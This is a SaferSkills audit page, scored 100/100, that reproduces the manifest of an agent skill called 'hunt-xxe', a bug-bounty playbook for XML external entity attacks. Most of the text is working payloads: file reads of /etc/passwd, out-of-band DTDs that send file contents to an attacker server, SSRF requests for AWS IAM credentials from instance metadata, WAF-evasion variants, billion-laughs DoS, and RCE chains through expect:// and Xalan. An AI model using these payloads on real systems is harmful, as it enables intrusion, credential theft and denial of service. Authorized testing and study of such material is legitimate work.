hunt-xxe — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited hunt-xxe (Agent Skill) and scored it 100/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 0 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 0 flagged
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
XXE is a critical-severity vulnerability that consistently pays at the top of bug bounty scales ($5,000–$30,000+) due to its direct path to sensitive data exfiltration and SSRF. Highest-value targets:
/etc/passwd, /etc/shadow, internal config files, AWS metadata endpointsContent-Type: application/xml/api/v*/xml
/upload
/import
/parse
/convert
/saml/acs
/sso/saml
/feed
/rss
/sitemap
/webdav
/soap/*
/wsdl
/service.asmx
/xmlrpc
/graphql (multipart with XML)Content-Type: application/xml
Content-Type: text/xml
Content-Type: application/soap+xml
Content-Type: multipart/form-data ← check file upload fields
Accept: application/xml
X-Content-Type-Options: (absent — good sign of loose parsing)// Look for in JS bundles
XMLSerializer
DOMParser
parseFromString
new ActiveXObject("Microsoft.XMLDOM")
$.parseXML(
xml2js
libxmljs
lxmlsimplexml_load_string(), DOMDocument::loadXML() — vulnerable by default pre-PHP 8lxml, xml.etree (safe by default), xml.sax (unsafe)Nokogiri older versions, REXMLxml2js, libxmljs, fast-xml-parser (older versions)Content-Type to application/xml with equivalent XML body./etc/passwd or C:\Windows\win.ini. Observe if the value is reflected in the response.http://169.254.169.254/latest/meta-data/, http://10.0.0.1/, http://localhost:8080/admin). Look for differences in response timing or error messages.<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<root><data>&xxe;</data></root><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://YOUR.BURPCOLLABORATOR.net/xxe-test">
]>
<root><data>&xxe;</data></root><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://YOUR-SERVER/evil.dtd">
%dtd;
]>
<root><data>trigger</data></root>evil.dtd (hosted on attacker server):
<!ENTITY % all "<!ENTITY send SYSTEM 'http://YOUR-SERVER/?data=%file;'>">
%all;<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&ssrf;</data></root><?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<svg width="512px" height="512px" xmlns="http://www.w3.org/2000/svg">
<text font-size="14" x="0" y="16">&xxe;</text>
</svg>[Content_Types].xml or word/document.xml<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<Types xmlns="..."><Default Extension="rels" ContentType="&xxe;"/></Types># Original JSON request
curl -X POST https://target.com/api/endpoint \
-H "Content-Type: application/json" \
-d '{"user":"test"}'
# Converted to XML for XXE testing
curl -X POST https://target.com/api/endpoint \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://COLLABORATOR.net">]><user>&xxe;</user>'# PHP
grep -rn "simplexml_load_string\|DOMDocument\|xml_parse\|loadXML\|SimpleXMLElement" .
# Java
grep -rn "DocumentBuilder\|SAXParser\|XMLReader\|XMLInputFactory\|TransformerFactory" .
# Python
grep -rn "lxml\|xml.sax\|parseString\|fromstring\|etree.parse" .
# Look for missing hardening
grep -rn "FEATURE_EXTERNAL_GENERAL_ENTITIES\|setExpandEntityReferences\|setFeature.*false" .DocumentBuilderFactory, PHP's DOMDocument, and Python's lxml all support external entities by default. Developers use them without reading the security docs.ENTITY, DOCTYPE, SYSTEM)<!-- Case variation -->
<!DoCtYpE foo [<!EnTiTy xxe SyStEm "file:///etc/passwd">]>
<!-- Encoding bypass -->
<?xml version="1.0" encoding="UTF-16"?>
(submit the entire payload UTF-16 encoded)
<!-- Parameter entity instead of general entity -->
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe;]><!-- Try alternative URI schemes -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY xxe SYSTEM "netdoc:///etc/passwd"> <!-- Java -->
<!ENTITY xxe SYSTEM "jar:file:///etc/passwd!/"> <!-- Java -->
<!ENTITY xxe SYSTEM "gopher://internal-service:80/_GET%20/"><!-- Chunked transfer encoding to bypass WAF inspection -->
Transfer-Encoding: chunked
<!-- HTTP request splitting with XML payload spread across chunks -->
<!-- Use XML comments to break signatures -->
<!-–- -->DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<!-- Nested encoding -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><!-- DNS-only exfiltration (port 53 often allowed) -->
<!ENTITY % data SYSTEM "file:///etc/hostname">
<!ENTITY % send "<!ENTITY exfil SYSTEM 'http://%data;.attacker.com/'>">
<!-- Error-based exfiltration (no outbound needed) -->
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///notexist/%file;'>">
%eval; %error;
]># Try mismatched Content-Type headers
Content-Type: application/json; charset=xml
Content-Type: application/xml+json
# Or simply omit Content-Type and let the server sniff<!-- Use billion laughs to test parser limits, and use short file paths -->
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;">
]>
<!-- Escalate to demonstrate DoS if XXE file-read is patched -->XXE classic payloads (<!ENTITY xxe SYSTEM "file://...">) are not universally exploitable in 2026. Most mainstream language ecosystems have hardened their default XML parsers since 2018-2024. Fingerprint the target stack BEFORE investing time in XXE — sometimes the parser is already safe and the bug class doesn't apply.
| Ecosystem / parser | Default behavior on SYSTEM entity | Vulnerable by default? |
|---|---|---|
Java SAX / DOM (XMLInputFactory without disabling external entities) | Expands SYSTEM file:// | YES |
| Java JAXB / JAX-WS (older Spring versions) | Expands | YES |
PHP DOMDocument with LIBXML_NOENT flag | Expands SYSTEM | YES |
PHP simplexml_load_* with LIBXML_NOENT | Expands | YES |
.NET XmlDocument with XmlResolver explicitly set | Expands | YES |
.NET XmlReader without DtdProcessing=Prohibit | Expands | YES |
Python xml.etree.ElementTree ≥ 3.7.1 | SYSTEM disabled | NO |
Python lxml ≥ 5.x | Silently drops SYSTEM content even with resolve_entities=True | NO (verified locally — see docs/verification/phase2g-saml-mfa-xxe.md) |
Python xml.dom.minidom | Default safe in current versions | NO |
Python defusedxml.lxml | Disabled | NO |
| Ruby Nokogiri default | Disabled | NO |
Ruby Nokogiri with Nokogiri::XML::ParseOptions::DTDLOAD | Expands | YES |
| Apache Struts (older) | Often expands | YES |
| Embedded IoT / industrial XML processors (firmware) | Frequently vulnerable | YES |
| Microsoft Office OOXML processors that re-parse user content | Vulnerable in some legacy paths | YES |
Fingerprint signals to look for:
Server: Apache Tomcat, X-Powered-By: Servlet → Java backend → likely YESX-Powered-By: PHP/... + endpoint that ingests XML → likely YES if app uses DOMDocumentServer: Microsoft-IIS with .aspx and XML SOAP → likely YES on legacy codePre-Severity Gate: before claiming XXE on a candidate endpoint, run the inline-entity probe (<!ENTITY hello "world!"> then &hello; in a node). If hello! does NOT echo back, parser-level entity expansion is disabled and SYSTEM file:// won't work either. Don't waste cycles on a hardened parser.
Before writing the report, answer all three:
/etc/passwd or win.ini in the response? OR can you demonstrate a confirmed OOB callback with a file's contents transmitted to your server? OR can you reach an internal SSRF endpoint (metadata, internal admin)?curl command or Burp repeater request that a triage engineer can run against the live target and see the impact within 10 minutes, with zero ambiguity about the vulnerable parameter and endpoint.A tester discovered an XML parsing endpoint on one Uber subdomain. The backend processed XML using a vulnerable parser, and the server made outbound HTTP requests to attacker-controlled infrastructure (blind OOB). Because the vulnerable XML processing service was a shared internal microservice, the same vulnerability was reachable through 26+ different public-facing domains — all sharing the backend. A single payload could read /etc/passwd, internal config files, and reach AWS metadata endpoints, effectively giving access to credentials reusable across the entire infrastructure.
Business impact: Full internal service compromise across the majority of the production domain fleet; potential for credential theft and lateral movement.
An attacker uploaded a crafted XML-based document (e.g., SVG or Office format) to a document processing feature on a major social platform. The server-side parser processed the embedded DTD and external entity references, returning local file contents in the parsed output or error messages. The attacker could read application config files containing database connection strings, internal API keys, and potentially private user data stored on the same filesystem.
Business impact: Exposure of production secrets (database credentials, API keys) via a feature intended for harmless file uploads; no authentication bypass required beyond a standard user account.
A REST API endpoint nominally accepting JSON was found to also parse requests submitted as application/xml. The underlying service converted XML to an internal format using an unpatched Java DocumentBuilderFactory. By injecting a SYSTEM entity pointing at http://10.0.0.x address ranges, the tester could probe internal services, reach an unauthenticated internal admin panel, and retrieve AWS instance metadata including temporary IAM credentials — all through a single API call requiring only a valid session token.
Business impact: Complete AWS credential compromise from a single authenticated API call, enabling privilege escalation from application-level user to cloud infrastructure administrator.
<!ENTITY % x SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/role"> → exfil AWS IMDS creds via parameter-entity DTD callback → STS AssumeRole chain. Where pure SSRF is filter-blocked, gopher:// via XXE-in-libxml2 can still reach Redis/SMTP.[Content_Types].xml containing parameter-entity DTD → OOB file read of /etc/passwd / web.config / .aws/credentials via the document parser running server-side.expect://), Java (XSLT extensions with <xsl:script>/Xalan), and older XmlSpy/SAXON deployments. Chain primitive: XXE in a Java endpoint using a vulnerable XSLT processor → <xsl:value-of select="rt:exec(rt:getRuntime(),'id')"/> → RCE; or PHP XXE with expect://id stream wrapper enabled → direct RCE._vti_bin/*.asmx or EWS SOAP → read web.config → recover <machineKey> → ViewState deserialization → RCE (the ToolShell-adjacent precondition).% indirection that makes blind XXE work), php://filter/convert.base64-encode/resource= for binary-safe read, XInclude (<xi:include href=...>) when DOCTYPE is blocked, billion-laughs/quadratic-blowup for DoS, and the jar:// / netdoc:// Java-specific wrappers./etc/passwd content or the IMDS JSON response in the report.~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.